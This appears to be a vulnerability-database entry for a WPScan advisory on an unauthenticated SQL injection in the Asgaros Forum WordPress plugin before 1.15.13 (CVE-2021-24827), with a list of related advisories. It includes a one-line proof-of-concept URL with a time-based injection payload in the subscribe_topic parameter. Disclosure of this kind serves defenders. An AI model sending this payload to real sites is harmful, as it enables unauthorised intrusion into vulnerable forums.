Lucene search
JrXnmWPVDB-ID:36CC5151-1D5E-4874-BCEC-3B6326235DB1HistoryOct 11, 2021 - 12:00 a.m.
Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
2021-10-1100:00:00
JrXnm
wpscan.com
20
0.213 Low
EPSS
Percentile
96.5%
The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue
PoC
https://example.com/forum/?subscribe_topic=1 union select 1 and sleep(10)
| CPE | Name | Operator | Version |
|---|---|---|---|
| asgaros-forum | lt | 1.15.13 |
Related
patchstack
patchstack
dsquare
dsquare
WordPress Asgaros Forum < 1.15.13 SQL Injection
2021-10-20 00:00:00
wpexploit
wpexploit
Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
2021-10-11 00:00:00
prion
prion
Sql injection
2021-11-08 18:15:00
osv
osv
CVE-2021-24827
2021-11-08 18:15:10
cnvd
cnvd
WordPress Plugin SQL Injection Vulnerability (CNVD-2021-101473)
2021-11-10 00:00:00
cve
cve
CVE-2021-24827
2021-11-08 18:15:10
checkpoint_advisories
checkpoint_advisories
WordPress Asgaros Forum Plugin SQL Injection (CVE-2021-24827)
2021-11-24 00:00:00
nuclei
nuclei
WordPress Asgaros Forum <1.15.13 - SQL Injection
2022-12-08 08:50:03
nvd
nvd
CVE-2021-24827
2021-11-08 18:15:10
cvelist
cvelist
CVE-2021-24827 Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
2021-11-08 17:35:27